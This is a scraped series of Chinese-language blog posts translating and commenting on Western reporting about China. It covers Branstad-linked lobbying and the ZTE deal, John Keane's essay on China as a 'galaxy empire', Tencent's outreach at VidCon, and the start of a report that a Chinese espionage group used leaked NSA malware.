Joske 称这个 **CICCPS** 是“一个虚假的民间团体”。“如果你不是真的习惯了这种中国起名字的方法，它听起来可能会让你觉得那是一个草根有机商会，但是，实际上它的存在只是为了扩大执政党对社会不同部分的影响。”

这类团体通常会组织与知名外国人的会面，以此让其会员接触海外的政策制定者。CICCPS 由统战部的全国工商联负责监督。当 Eric Branstad 还在美国商务部工作时，他就在该联合会面向国际的单位 —— 中国商会的芝加哥会议上发表了讲话，该商会的执行董事会成员包括中兴通讯。

据该组织网站上的帖子显示，在 CICCPS 的活动中，水星游说公司的说客们讨论了特朗普的政策方针，以及中美之间“合作共赢”的必要

性。他们所坐的桌子上方的红色横幅用中英文写着："（潜在的）中美贸易战将何去何从？"

商务部在几周后宣布了与中兴通讯的交易。"看到这样一个戏剧性的措施，然后以一种并不十分透明的方式彻底逆转，这很奇怪"，新美国安全中心（New American Security）的中国技术专家 Elsa Kania 说。即使在当时，这笔交易也被认为是"交易性的"，她补充说："这确实削弱了美国机构的可信度。"作为特朗普总统在爱荷华州竞选连任的高级顾问 Eric Branstad 正等待在2020年8月25日在爱荷华州爱荷华市的 "Make Campus Great Again" 宣传活动中被介绍

交易的艺术

「图」

Branstad 父子现在都回到了爱荷华州，如上所述 Eric Branstad 是2020年特朗普竞选的高级顾问。最近几个月，他乘坐特朗普的红色大巴在爱荷华州巡游，在游船游行和 "Back the Blue Bingo MAGA Meetup" 上为特朗普站台。

Eric Branstad 最近在与当地媒体的通话中声称，他已经记录了**8000**多英里的里程，纵横交错地在该州进行竞选宣传活动，他的父亲也计划和他一起参加这些宣传活动。

他说："我们将为他[特朗普的宣传]安排28天的完整行程。"

2020年之后，Eric Branstad 家可能很快就会有另一位家庭成员参与政治。上周，他告诉当地电台记者 Bob Leonard，他正在鼓励他的妻子 Adrianne 从政。

特朗普在爱荷华州的领先优势已经缩小，那里的农业经济因中美贸易战而受到伤害，但他继续将 Branstad 视为资产。

最近的竞选财务记录显示，没有向 Eric Branstad 支付任何款项，他告诉 Intercept，他没有得到组织竞选活动的报酬。周三晚上在得梅因的一次集会上，特朗普赞扬了 **Branstad** 夫妇，还盛赞他们老爹 **Terry Branstad** 担任驻华大使的任期以及他与习近平的友谊。

特朗普补充说："他的儿子 Eric 比爹做得更好。" ○

CHINA'S MAN IN WASHINGTON

原文

中国的银河帝国，和高堡奇人 - iyouport

关于高堡奇人

这个新兴帝国的弱点是什么？

【按】那些行帝国之所为的国家，都会拒绝自己被称为帝国，中国在此也一样。我们在去年底的对话中用 “准帝国” 来描述中国，因为它的行为非常接近帝国的标准行为，但又有所不同，甚至可以说前所未有。而这篇文章以最清晰的语言对这一新帝国的形式进行了深入的解释。

尤其是，对中美关系的判断，很理性 —— 他说出了那些华盛顿精英阶层一直以来心领神会但绝不会说给你听的话。

而这些话正是那些把变革期待完全寄托于华盛顿的中国异议人士们有必要听一下的东西。

- 如果您错过了《“内卷”、躺平、政治、经济、工人阶级和民族主义：全方位看中国》

但是，这篇文章有一个欠缺，就是，它没有对公民反抗的作用力谈及太多，这点上与IYP的主题有所错位，我们对地缘政治在推动变革中的作用从来不抱任何幻想。这篇文章的主要立场聚焦于民主的利益，旨在回应和辩驳那些当下最热门的对中国的两极分化的观察结论，呈现的是一个解决问题的态度。尤其是，他通过预想可能的结果提出了重要的警告（与其新出版的书籍相一致），并且通过梳理这个新兴帝国的弱点，暗示了可能的动摇方式。

遗憾的是，来自中国内部的反抗可能性基本没有被谈及，在这点上 Keane 是谨慎的，但这种谨慎的缘由值得中国大陆的反抗者思考。

本文的作者 John Keane 是悉尼大学的政治学教授和柏林社会科学研究中心的研究教授，也是公民社会的捍卫者，他的最新著作是《新专制》（哈佛大学出版社，2020年5月），您可以在这里下载这本书：https://www.patreon.com/posts/zhong-guo-de-yin-49344935

谈及中美之间的新冷战，强调的是军事能力和经济实力。战者语话呈现出一种单一维度的局面，冲突不可避免。

但是，通过审视中国发展背后的文化复杂性，是不是可以更好地理解和处理中国的所谓崛起呢？

当未来的历史学家回顾我们这个冲突的时代时，他们一定会报告一个具有全球重要性的时代转变：从恢复“美国伟大”的尝试失败，到中国在被征服了两个世纪后重返世界前列。这一点已经写在了墙上，但奇怪的偏见、激烈的争端和相互矛盾的预测目前掩盖了这种转变的意义。

一些观察家已经确信，“中国的崛起”是不可持续的，或者说对中国在全球范围内取得胜利的预测被严重夸大了（如 美国异议人士）；另一些人则建议通过贸易战和在台湾海峡或南海的军事冲突，对暴躁的北京采取强硬态度（类似右翼鹰派）。还有一些人认为，一个漫长的冲突期 —— 新的冷战—— 正在到来。另一些人认为，为了让军事上捉襟见肘、财政上不堪重负的美国重新焕发活力，粗暴的言辞和狡猾的手腕将无意中使中国“great again”。

外界对中国的这些南辕北辙的看法就像火警一样，正在激起公众的争议，激起政治分歧。目前在中国国内热门的学者、记者、外交官和党政官员的观点，对事情本身并没有帮助（美国观察人士往往最热衷于关注这些人的说法）。当被问及他们国家在外交政策事务中的作用时，这些中国人通常会回答说，邓小平‘摸着石头过河’的时代已经被习近平无所畏惧的‘漂洋过海’所取代。

同样的一群观察家们也经常称赞中国在世界范围内发挥着道德、经济和政治上的力量。不止一些学者说，中国新发现的全球角色与儒家的“天下为公”原则是一致的。他们说，这一承诺的核心是，中国是一个成长中的大国，有可能成为一个真正的大国，其统治者是后世的天子和民之父，上天赋予了他们统治的权利，并且是明智的统治。

推论是，中国的领导人不会放纵自己的利益，而牺牲世界人民的需要和利益。否则，他们知道自己会受到惩罚：在世界舞台上，如果不以挑起政治混乱或战争的方式来“表现仁慈”，就会危及他们的“天命”。所以，阎学通教授说，中国要努力成为‘仁权兴世’的典范。政治学者张维为补充说，中国是一个‘文明国家’，它尊重所有国家及其人民的领土主权。它不干涉他人的事务。兵马俑

这些中国人的观点都是不能令人信服的，首先，因为它们都没有提到

帝国。

在中国，关于帝国的公开讨论仍然很少。帝国被视为一个最好用来针对其他国家的贬义词，这个词几乎从未被用于中国本身。中国从公元前221年开始被帝国统治了两千多年的历史事实被放在了括号里。国家官员和媒体平台则用帝国一词来强调中国在西方帝国主义手中的受害者地位（“百年屈辱”）。

出乎意料的对称，帝国这个词也引发了美国的尴尬沉默。美国人认为自己是一个良性的全球大国，是一股民主的善的力量。乔治·W·布什时期的前国防部长唐纳德·拉姆斯菲尔德说得很清楚：“我们不寻求帝国，我们不是帝国主义。我们从来都不是”。他这句话同样可以被中国现任领导层原封不动地使用。

一个新的帝国

「图」

中国人对 “帝国” 这个词的反对意见是引人注目的。如果 “帝国” 指的是一个庞大的国家，它在远离自己的心脏地带很远的地方对数百万人行使政治、经济和象征性的权力，而基本不考虑也不会尊重领土主权，那么，从技术上讲，中国正在迅速成为一个帝国。这是描述中国在资本形成、技术创新、物流以及外交、军事和文化力量等方面日益增长的全球作用的最准确的一个词—— 没有下意识的抵制，也没有滔滔不绝的赞许。

对于数以百万计的 “海归”、留学人员和专业人士来说，这已经成为一种生活方式。海外合同工数量远超百万，其中很多在非洲，中国基建项目中超过10%的员工在非洲从事 “跨国劳务合作”，获得高额工资，有时是以长时间工作、不安全的工作条件、欠薪和延期支付工资为代价的。

全球扩张也深深地切入了亿万中国人的日常生活。各种驱动力确保了帝国的精神和实质正在渗透到整个政治经济中。很明显，中国不仅仅是一个 “大国”，它是一个世界历史上前所未有的新兴帝国。

让我们称它为银河帝国。这个天体化的比喻有助于描述一个以北京为首的中心地带为轴心的机构和活动的大规模联合体。新的中国帝国由数不清的集团、集群和超级集群的计划、项目和人员组成。其彻底的现代动力是没有先例的 —— 它与以往的中国帝国和大西洋区域的帝国只有有限的相似之处 —— 其引力的推/拉效应正在被到处感受到，

甚至超越了地球的界限。

一带一路倡议（BRI）是中国最突出的全球项目。其规模和复杂性令人震惊。这个2013年启动的庞大计划，旨在建设铁路、公路、深海港口、桥梁、电网和其他基础设施，其成本将超过一万亿美元，是二战后美国对西欧投资的七倍（经通胀调整后）。以邓小平1980年开设的深圳经济特区为蓝本，规划了50个经济特区。

从投资机会、出口市场、以及旨在促进收入和消费的国内政策来看，BRI显然是中国对美国“亚洲支点”的替代方案。例如，中国的官方货币 —— 人民币，正被BRI的伙伴们宣传为美元的重要替代货币。

BRI 正在为大型项目提供资金：计划连接超过65个国家，目前528个海外项目的合同总额超过5000万美元，而且这一数字还在迅速上升。其中许多项目—— 比如尼日利亚一座价值58亿美元的水电站大坝和连接昆明与新加坡的高速铁路 —— 还在建设中，但其联通的轮廓已经足够清晰。

汉朝时期（公元前206年至公元220年）的丝绸之路是全球化的先驱，其贸易网络向西延伸，穿过中亚，至印度次大陆，一直延伸到欧洲。而 BRI 更新了这一扩张性的愿景。从南非、尼日利亚、匈牙利、希腊、伊朗和斯里兰卡，到柬埔寨、巴布亚新几内亚、牙买加、墨西哥和阿根廷，北京资助的基础设施正在重新安排无数人的生活。这个新帝国触及到了每一个大陆，包括南极洲，中国很快将在那里开设第五个极地站，其投资超过了美国和澳大利亚的研究和开发。韦斯特菲尔德世贸中心（Westfield World Trade Center）

这些都不应该让人感到惊讶。中国已经超过美国成为世界上最大的贸易国。它拥有所有专利的一半，并超越国际货币基金组织和世界银行等机构，成为全球最大的债权国。它现在是非洲最大的贸易伙伴。在拉丁美洲，它的投资、资源开采和贸易在本世纪头十年猛增了十倍，可与美国媲美。中国是该地区铁、铜、石油和大豆的最大买家。

- 《习近平的无限任期对非洲意味着什么？》
- 《局势：中国正在努力扩大与拉美的联系》

目前的冠状病毒全球疫情也对中国有利。2020年，中国占全球经济增长的比例达到了前所未有的30%。尽管面临着人口迅速老龄化的问题，但中国的帝国建设者们正在成功地运用所谓的扶贫和医疗卫生、高新区和农产品出口战略的决心，以摆脱所谓的中等收入陷阱，在过去的一代人中，达到中国这种财富水平的近90%的国家都受到了这种

困扰。

较不透明的是这些趋势的长期意义。它们告诉了我们什么？在全球层面上，什么样的中国帝国正在崛起？它是否表现出新颖的特征？它们是否具有历史意义？

中国正在许多方面创造历史。虽然它并不是第一个真正意义上的全球性帝国—— 美国和苏联是1945年后的帝国先驱，但银河帝国是第一个在与美国的纠葛中诞生、并在美国的帮助下发展起来的全球性大国。应该注意到这个完全出乎意料的结果的宏大讽刺。

真正具有全球影响力的帝国是罕见的。无论他们宣称的征服世界的愿景有多壮观，蒙古人、穆斯林、奥斯曼人、明朝、英国人和其他欧洲帝国在地理上的领土范围都是有限的。在两极化的年代（1945–89年），两个相对分离的全球帝国第一次争夺世界主导权。苏联解体后，中国对这一解体毫无异议，而美国试图做一些帝国从未做过的事：独自行使完全的霸权。它失败了。所以，现在它不得不面对一个它在20世纪70年代初帮助增强了能力的 *中国帝国* 的现实。

人类历史上第一次，两个纠缠不清的帝国，以相互竞争的意图和做法为标志，在全球范围内形成阴影。在可预见的未来，这两个帝国的“合纵连横” 将是一个事实。毕竟，帝国通常是成双成对的，这是规律而非例外。正如西班牙和英国、葡萄牙和荷兰、英国和美国、俄罗斯和日本帝国的对峙一样，中国和美国现在也发现自己因深化竞争而充满活力。

对于银河帝国来说，现在还只是初期。然而，中国正忙于与美国谈判并稳步松绑：在信用卡交易、武器系统、卫星通信、稀土矿产和人工智能等领域，脱钩已是既成事实。假以时日，其不同寻常的特征将愈发明显。

新的中国帝国违背了一些经典的区别，最明显的是陆地帝国和海洋帝国之间的区别。德国第三帝国中颇具影响力、后来声名狼藉的理论家卡尔·施密特确信，每一个现代帝国都是专注于通过圈地、划线和边界来抢夺土地和重新整理领土的，而这些边界往往是借助于山脉和河流来确定的。以前的中国帝国是大陆性的土地政体，其防御战略的重点是来自北方和西北的军事威胁。

新的中国帝国同样守卫着自己的边界，并推动巩固这些边界，如香港和所谓的西藏和新疆自治省。它在台湾问题上剑拔弩张，并宣布计划通过一座巨大的桥梁将其与大陆连接起来。它的军队在与印度交界的

高海拔地区挑起事端。在西哈努克城、吉布提和汉班托塔等地，中国已经建立了实际上是“租借地”的地盘，即 在得到当地所有者国家批准的情况下控制的领土。

然而，由于中国同时也是一个海洋大国，在每个大洋上都有港口和基地，并且正在迅速成为一个主要的空中力量，这些扩张动态变得更加复杂。陆海空三军的开支不断增加。这个帝国也已经在外太空殖民中占据重要地位。

它的多维度解释了为什么它的领导人认为为了“统一”和行政控制而划定的边界相对不重要了。他们深知渗透领土的陷阱。中国的国营企业和管理机构，甚至是该国的流民—— 在瘟疫之前是世界上人数最多的群体—— 都喜欢无限制的流动和跨境、长距离的开放和走廊机会。

欧洲帝国在国内和殖民地的建立和功能上依赖于首都城市；相比之下，中国是一个专注于资本流动、新信息技术的传播、以及价格具有竞争力的商品和服务的全球市场的帝国。它用高速铁路、机场和航道连接城市和腹地。在其对数字通信网络的深度依赖的推动下，流动性是中国帝国的货币。

通信系统缩小了空间和时间的障碍，一直是帝国的命脉。如果没有燃煤蒸汽机和船帆，不列颠尼亚不可能统治海浪；同样，是铁路和电报使美国这个年轻的帝国得以向西推进。但中国庞大的全球影响力不是靠剪子和铜线，而是靠由国家保护的巨头公司支持的网络通信系统 —— 比如电子商务和技术巨头阿里巴巴—— 以及全球12亿人使用的多用途信息应用微信的控制者腾讯。

- 《图解中国科技巨头—半壁“高堡奇人”》

这些公司是中国在其境外空间撒下的“网络主权”大网的关键利益相关者。这种模式就是硅谷的模式，于是成为硅谷的严重竞争者，它利用高速宽带信息流来推广中国的治理、投融资计划，以及中国的思想、新闻和文化。

这个银河帝国涌现的诸多外国新闻公司就是一个例子。中国环球电视网和《中国日报》的记者不仅仅是从国外发稿的记者：实际上，他们有着党国的情报提供者的双重身份。而网络主权是一桩大生意。这个帝国正在向国外出售其技术和工具，比如在南非，南非是第一个购买华为驱动的5G网络的非洲国家，以支持其智能医疗和发展港口、采矿和制造业。中国深圳一家电脑城的环保广告

哈罗德·英尼斯（Harold Innis）对专注于空间的军国主义帝国和专注于时间的宗教帝国的区分，对中国来说是没有什么意义的，中国的领域不是火药或无畏战舰或**B-52**轰炸机帝国；它是一个信息帝国，是在商业利益、北斗全球卫星导航系统等创新和多极治理安排的推动下，诞生于未完成的数字通信革命的第一个四维帝国。

中国参与和建设跨境机构的决心是艰巨的。衰落的帝国嘴上说着大话，但目光向内，退守据点，筑起城墙；崛起中的帝国则是放眼世界，也走向世界。通过上合组织联盟和清迈倡议货币交换安排等机构，中国积极地与14个邻国合作。中国也在亚太经合组织（APEC）和区域全面经济伙伴关系等地区性机构中扮演着重要角色。

机构重组和争取在全球机构中发挥领导作用同样是其议程上的重中之重。在联合国15个机构中，中国已经担任了4个机构的负责人。近年来，中国帮助建立并领导了中国-阿拉伯国家合作论坛等多边机构，该论坛建立在利益共识而非正式的条约联盟基础上。

万花筒式的政府

「图」

中国在这些体制内的表现如何？这里还有一个新奇的地方：这个帝国并没有被一种主流意识形态所框定。古代的帝国通常通过一套合法化的符号来进行统治—— 例如葡萄牙和西班牙的皇帝都是君主制和教会的拥护者。中国的批评者说，中国的统治者处于马列主义意识形态的控制之下，而拉纳·米特等学者则担心会出现“新民族主义”。

但这两种评估都忽略了一点，那就是：该政权的领导人身着由国内外不同语言和风格制成的五彩大衣而来。他们从十六世纪传奇的神圣罗马皇帝查理五世（Charles V）的书中得到启示，查理五世学习了许多语言来帮助他统治他庞大的帝国，据说他对上帝说西班牙语，对朋友说意大利语，对敌人说德语，对情人说法语。

中国银河帝国的推动者以多种姿态出现。这使他们具有随政治风向航行的战术优势，在不同的时间和地点对不同的人做不同的事。他们是很难确定的。

对国家的崇拜意味着国家强制你遗忘过去的错误 —— 中国著名作家马建在他的小说《中国梦》中用《中国梦汤》讽刺了这种失忆的义务，这是一种让你永恒遗忘的孟婆汤。但同样重要的是，中共领导人口口声声说着“社会主义”、“和谐社会”、“人民民主”、“法治”、“生

态文明”、“中华古文明” 等口号；不论是政府、企业还是文化领袖，在国外经营时都会采用这种语话。

权力渴望权威，这也是中国帝国在全球舞台上抛出文化重任的原因。梅赛德斯-奔驰因为在 Instagram 上发布了达赖喇嘛的励志名言而被迫道歉；外国航空公司迫于压力删除了网上提及台湾的内容；休斯敦火箭篮球队因为其总经理在推特上支持香港抗议者而付出了沉重的代价。

但有证据表明，中国的官员和他们的媒体公关人员已经意识到意识形态攻击自由表达的声誉危险。他们知道那些长满荆棘的人将会收获伤口，他们希望被视为 “和平与宽容、创造财富和善治的倡导者”。

在世界贸易组织这样的机构中，中国外交官和谈判人员表现出对法治理念的坚定承诺，他们对程序规则和技术细节的了解、准备工作和强硬的谈判技巧常常给外界留下深刻印象。在公众形象问题上，中国政府 —— 这个多党选举的敌人—— 甚至在支持其他地方的投票，也有一些自相矛盾的时刻：它超越欧盟和美国，为柬埔寨2018年年中的虚假大选提供电脑、打印机、投票亭、投票箱和选举监督员；它为缅甸2020年大选捐赠了大量个人防护设备。

这位事实上的皇帝也表现出类似的万花筒风格。习近平，这位 “万事通主席” 并没有像拿破仑、斯大林和希特勒等独裁者那样，流露出无节制的狂热；他更像莎士比亚笔下的格洛斯特公爵，对自己提升权力、声望的能力充满信心，“为变色龙添彩，像普罗透斯那样变形”。他给辩证法赋予了全新的含义：在国内，他是一个强硬的、铁腕的所谓 “社会主义” 拥护者，是军队的首脑，是人民的仁人志士；在国外，他披上了道德救赎者的外衣，是古老的中华文明的拥护者，是多边机构和平的坚定捍卫者。珠穆朗玛

中国对跨境流动的承诺有助于解释这个银河帝国作为 “星球和平卫士” 的地位。没有任何一个帝国是在没有武力的情况下建立和维持的，然而，这个新帝国的银河系并不像轴心国（日本、德国和意大利）或十六世纪的西班牙征服者那样可以被理解为穷兵黩武，他们对黄金和土地的热爱导致他们围攻和饿死他们的阿兹特克对手，使其屈服。

中国作为 “全球和平力量” 的自我形象建立在旋转、沉默和保密的基础上：根据斯德哥尔摩国际和平研究所（**SIPRI**）**2020**年公布的数据，中国现在是世界第二大武器制造商，拥有的巡航导弹和中程弹道火箭比美国还多。其海军是世界上最大的海军。补充人民解放军现有的吉布提和塔吉克斯坦设施的军事基地可能正在规划阶段。

然而，中国的公关任务却因为美国的过度军事化而变得更加轻松。那些把中国说成是“恶霸”和“侵略者”的人必须记住，美国仍然是世界的总司令。美国在150个国家拥有军事基地和设施，在武装力量上的花费比排名其下的十个国家的投资总和还要多。

中国对联合国维和行动的积极贡献，加强了其作为国际帝国的声誉。在黎巴嫩南部与以色列交界处清除的地雷就是一个例子。迄今为止，中国最著名的外交是将平民从冲突地区撤出，如2011年的利比亚和2015年的也门。一个中国版的“保护责任”，主张外交部的旋转，“军人必须是人民安全的守护者，军舰必须像诺亚方舟一样为我们的同胞服务”，突然就取代了“不干涉他国事务”的理论。

最后，中国对美国的非常规军事战略加强了它的和平主张：由于中国宣称它不是一个急功近利的帝国，它可以在传统的指导下采取行动，通过避免冲突来消磨竞争对手，这表明缓兵之计可以取得持久的胜利。

驯服中国力量

「图」

帝国的历史充斥着“衰落”、“堕落”和“崩溃”的说法，这是有充分理由的。即使是最强大的帝国，最终也会被其弱点所摧毁：成本上升和收入短缺，行政管理的繁琐和腐败，边陲的动荡。

对于中国新帝国的可持续性，各方意见不一。美国前国务卿亨利·基辛格(Henry Kissinger)是那些确信我们已经进入所谓的“中国世纪”的人之一；其他人则说，增长动力不可能持久，习近平的帝国范围将遭受中国过去许多王朝的命运。那么到底谁是对的？这个新的银河帝国的持久性又该如何评价？

对中国未来的预测被一厢情愿地扭曲了。三年前，一位著名的中国学者对我说：“我给这个政权几年的时间，不超过十年”。然而近三十年来，他一直在说同样的话。这种虚张声势是上世纪90年代预测市场改革将把中国变成“美式国家”的观点的反面。政权崩溃也在鹰派人士的政治议程上，他们把中国比作一座纸牌屋，只要轻轻一挥，就会散落一地。

他们想要一场新的冷战。他们坚信美式民主的道德优越性。对他们来说，中国是一条龙的力量，要对窃取美国的就业机会和全球瘟疫负责。像特朗普前顾问斯蒂芬·班农（Stephen K. Bannon）那样，他们

确信其统治者的“谎言、渗透和恶毒”使中国像前苏联一样容易崩溃。他们煽动公众情绪，反对中共领导的政权的极权主义和专制主义。他们看到中国境外的企业、政府、大学、报纸、教会和公民社会团体被无声的间谍行为和收买。他们警告说，“主权”将受到威胁，自由民主将死亡。

这些警告有一定的道理。帝国总是试图改变权力的平衡，使之对自己有利：就像苏联曾经是国家社会主义的巨大希望一样，中国现在是后民主政府形式的全球火炬手。

而麻烦的是，这种新冷战政治传播着变幻莫测的误解。它低估了支撑中共政权的幻影民主的弹性，低估了它对村级选举的依赖，低估了对“人民”的谈论，低估了对邻里大会、公共听证会、参与式预算和国家官僚机构中的所谓反腐机制的实验。在历史学家约翰·达尔文（John Darwin）2007年出版的《After Tamerlane》等著作中，战士们对帝国历史的认识是薄弱的。他们错误地把中国新帝国想象成奥斯曼帝国贿赂、腐败、颓废和争吵的重演。

谈论“对中国强硬”，意在使中国不快和贬低，实际上是西方国家的痛苦之声。它吸引了仇外者、种族主义者和东方主义者。这些鲁莽的战士似乎对所期望的垮台可能带来的后果不屑一顾——“一个世界帝国的崩溃”，德国学者赫弗里德·明克勒在其**2005**年出版的《帝国》一书中指出，“通常意味着与之相关的世界经济的终结”。他们可能会选择一场给美国带来政治、经济和声誉挫折的斗争，或者进一步加速美国作为帝国主义强国的灭亡。

不顾一切地抨击中国和与美国的痴恋是死路一条。在核武器时代谈军事侵略是疯狂的。既然只有“新冷战主义者”的脑袋里没有修昔底德陷阱（当一个新崛起的帝国挑战一个成熟的帝国时，武装冲突几乎是不可避免的），那么就需要一个与中国接触的现实战略。

我们可以称之为敏捷的不结盟。致力于与中国进行批判性接触的政府、企业、非政府组织和公民，将在基础设施建设、科学研究、高等教育和可再生能源等领域展开合作。他们意识到，正如当今每一个全球性问题的解决都需要与中国合作一样，与这个帝国的接触也有起伏。与中国的一些尖锐交流是可以预期的。

澳大利亚前总理陆克文说得很有道理：在与中国及其盟友和对手打交道时，他喜欢说，真正持久的友谊是建立在毫不动摇的建议和对基本利益和野心的坦率认识上。这种坦诚可以产生积极的结果。按照这个逻辑，与中国分手是没有必要的。这将是自我毁灭和愚蠢的行为。

敏捷的不结盟需要开放的心态：政治思想家、记者、公民和政治家要有新的意愿，剖析自己对中国的了解，用新的眼光看待中国的复杂性，避免低估中国的变形弹性。证据表明，不要夸大其词，比如记者James Kynge 说，中国“因规划自己的超常发展而备受赞誉”，但却被揭露为“在国外基本上无法完成同样的壮举”。这种笼统的说法不仅低估了中国共产党的危机管理能力，它还低估了帝国的结构性弱点。

帝国的缺陷，民主的开放

「图」

这些脆弱性为民选政府和有社会责任感的企业及其他民间组织提供了保护和提升自身价值和利益的政治机会。甚至可以从与中国国家和企业主角的谈判和争端中获得“正和”的结果。但是，中国新帝国的缺陷是什么，可以提供这样的机会？中国境外大学校园中的反习海报

最明显的是，合法性问题困扰着中国。中国领导人已经被提醒，公开的影响和控制会造成阻力和社会动荡，就像在西藏、新疆和香港一样；他们正在学习到，他们不能单方面决定他人的习惯和希望。

每一个中国政府官员、外交官和商人都应该读一读伊沃·安德里奇1947年的小说《维齐尔的大象》，这是一个对占领者的虚假承诺和虚伪感到愤恨的经典故事，从而了解帝国权力是多么容易被怀疑、被讽刺、被消磨和被打败。通讯丰富的时代使文化抵抗 —— 例如抵制虐待当地工人的反叛—— 变得更加容易。数字工具赋予中国作家鲁迅所说的“不满是推动人们前进的车轮”这句话以新的生命。当地人对帝国的不满很容易随之而来：2019年，哈萨克斯坦爆发了大规模的抗议活动，抗议中国工厂的建设和新疆穆斯林和突厥人遭受的虐待；赞比亚矿工几十年来一直与他们的中国雇主发生冲突。

中央统治者和边远总督之间的经典帝国紧张关系也困扰着中国。当中国国有企业在投资利比亚石油工业和基础设施项目时，他们从未预料到当地政权在2011年崩溃，需要采取军事救援行动，这无意中引起了对中国向卡扎菲政权出售武器的怀疑，使外交部感到尴尬。

这个银河帝国跌跌撞撞。关于“不干涉主权国家”的说辞被放弃。在拒绝否决联合国安理会制裁北约轰炸卡扎菲军队的决议后，它又敦促与卡扎菲政权妥协，并谴责空袭。随着该政权的崩溃，中国军队介入保护了七十五家中国公司，并将三万八千名工人送到安全地带。

迫在眉睫的挑战暗示了其他弱点。讨债问题上日益紧张的局势让人担

心是否应该用劝说、法律程序或武力来处理冲突。和现代世界历史上的所有帝国一样，中国这个银河帝国也受到了继承问题的威胁。中国二十一世纪的命运可能会因为习近平对接班人的任命不当而受到伤害，就像毛泽东在1960年代所做的那样。

还有环境问题。中国在可再生能源方面的投资比美国多得多，但至少有三分之一的地下水不适合人类饮用。而在国外，比如南极洲，也存在着生物挑战，中资企业上海崇和海洋工业公司正在等待世界上最大的磷虾捕捞船的交付，但肯定会遇到抗议，反对其受利润驱动的大规模捕捞小甲壳类动物的计划，目前这种小甲壳类动物在微妙平衡的生物群落中正在遭受数量减少的威胁。这本书在这里下载：*https://www.patreon.com/posts/zi-sha-shi-fan-42852672*

这些问题助长了中国最大的脆弱性：它对公共问责机制的冷淡和矛盾的接受。中国领导人表示，他们希望在协商的基础上实现开放的互联互通和不腐败的跨境机构。然而，作为一个一党专制政权，它需要保密、异化和不受挑战的权力。几位著名的中国国际关系学者私下告诉我，他们的国家要想在全球范围内取得成功，就必须向国内外的公众开放其权力结构，接受更多的监督。他们认为，它的通行证必须是警惕、明智地尊重复杂性和谦虚的开放态度。他们说得有道理：民主不足是中国最大的弱点。

运作良好的货币民主国家培养了监督机构，如公共调查、司法审查和期货经纪，旨在处理有威胁的不确定因素、腐败和令人讨厌的意外。在国内和国外，中国都试图模仿这些方法。基础设施项目采用了日本式的高质量投资标准；在斯里兰卡等地，海报宣传宣布“广泛协商、共同出资、利益共享”。

但是，意想不到的事件会让这些承诺化为乌有。腐败丑闻、毒害食品链、企业巨头或国家银行的倒闭，或者社会对基础设施项目的突然抵制，都会使中国的权力摇摇欲坠。小的开端可以孵化出大的戏剧。

民主开局可能出现。在对公共责任的要求的支持下，在公民社会组织和政治领袖的支持下，对监督式民主的推动可以蔓延—— 甚至从帝国的边缘直到其中心地带。

但也可能是中国的银河帝国发展出了大多数观察家都没有预料到的强大韧性。其中最大的想象中的惊讶可能是，其统治者在敏锐的洞察力和聪明的执政方法的调教下，不仅在国内成功地利用幻影民主机制来合法化和加强其一党专制，而且在国外也是如此。中国可能会完善所谓的“行政吸纳”艺术：赢得阻力的能力，让各地的客户相信，中国

的基础设施项目、生活方式和对多边治理的承诺是普遍良好的，明显优于美国提供的混乱选择。

- 假设*目前的中国政治制度让美国感到羞愧，在短短25年内，中国的经济规模是美国的两倍，受过高等教育的人口至少有美国人一半的财富。然后想象一下，那些治理新的中国帝国的人在处处向臣民表示敬意方面超过了奥斯曼人和英国人，采用了令人惊讶的自我审视、实验和行政吸收的程度。让我们进一步想象，经济增长、社会政策、国家监督、政治压制、中产阶级的支持、意识形态鸡血 .....都有助于肥沃中国的力量。中国会不会就此成为全球一党专制政府的标杆，其基础是人民及其海外客户和支持者心甘情愿的忠诚—— 一个奇怪的、超现代的、具有民主幻觉的后民主政权？并不是像中国异议人士徐展润所警告的那样，“彻底回归极权政治”，而是一个巨大的强大的幻影民主胜利地打出一条通往世界的道路，将早先更幸福时代的分权宪政民主制挤入边缘。〇

China’s galaxy empire

原文

中国科技寡头正努力为美国科技寡头提供支持 - iYouPort

关于高堡奇人

中国最大的科技巨头正在为美国最大的科技寡头提供支持。

据与会者介绍，Qingteng Club 是一家隶属于社交媒体和游戏巨头腾讯控股有限公司的组织，于上周在加利福尼亚举办的一场私人活动中接待了来自中国和美国在线视频行业的一大堆高管和名人。

这项名为东西方论坛的活动在 VidCon 的 Anaheim 酒店举行，这是一个为在线影响力人士的粉丝举办的大会。

全能中文应用微信的所有者腾讯正试图鼓励更多美国社交媒体明星在世界第二大经济体 —— 中国 —— 开展业务。

该活动的开幕式名为“腾讯如何帮助您在中国实现影响力业务”。

腾讯在利用中国新兴市场方面优于 YouTube：谷歌拥有的视频服务在该国受阻。

此时恰逢高堡奇人（中美）竞争最激烈的时段。

中国的“抖音”受欢迎程度已经动摇了中国的科技产业，电子商务巨头阿里巴巴集团控股有限公司、搜索引领者百度和腾讯等寡头公司也被迫捍卫自己的地盘。

腾讯的微信消息服务被十多亿人使用，之前已经阻止了与抖音的链接。而由百度控制的 Netflix 风格的流媒体服务爱奇艺也正在开发一款竞争性的应用。

“东西方论坛是一项独家活动，将东西方的技术和娱乐行业的领导者聚集在一起，相互了解，建立潜在的合作关系，” 该峰会的声明中是这样写的。

来自腾讯百度等中国寡头的高管们都在今年的 VidCon 上发表了演

讲，这是为 YouTube 明显与粉丝们见面而举办的活动。

该会议已经扩展到了其他集中化在线平台，如 亚马逊公司的 Twitch、Facebook、Instagram 和 Twitter。

东西方论坛还将汇集腾讯的高管、中国创业公司 RED 和 Bilibili Inc. 的创始人，以及社交媒体网红 Jordi 和 Azzy。此外，它还有望吸引法恩兄弟的媒体高管，该公司在 YouTube 上运营着一些最受欢迎的频道。

“在 VidCon 有一个非常庞大的且非常豪华的中国高管代表团”，香港媒体执行官兼制片人 Jasper Donat 说，“近年来很难让很多中国人进入美国，但这种会议就可以做到”。〇

注：彭博社这篇报道写得很差劲，完全没有说明白为什么中国寡头要如此卖力地为美国寡头进入中国开辟路径 —— 简单说：与中国监视技术在美国的鼎力协助下的腾飞之间的关系究竟是什么。也许彭博社在努力避免承认这点？

Chinese Tech Companies Are Coming for America’s Influencers

原文

中国间谍组织如何获得了NSA恶意软件？ - iyouport

关于高堡奇人

【2019年9月3日存档】你制作了一件很可怕的武器，希望只有自己使用它；但是只要这件武器被做出来了，任何人都可以使用它，因为你使用了，该武器就因此被人们所知晓。但是为什么要做这样的武器呢？

据美国网络安全公司赛门铁克称，中国网络间谍组织使用 NSA 的恶意软件已超过一年之久，此前 Shadow Brokers 在网上泄露了同样的漏洞，将其暴露给全世界。

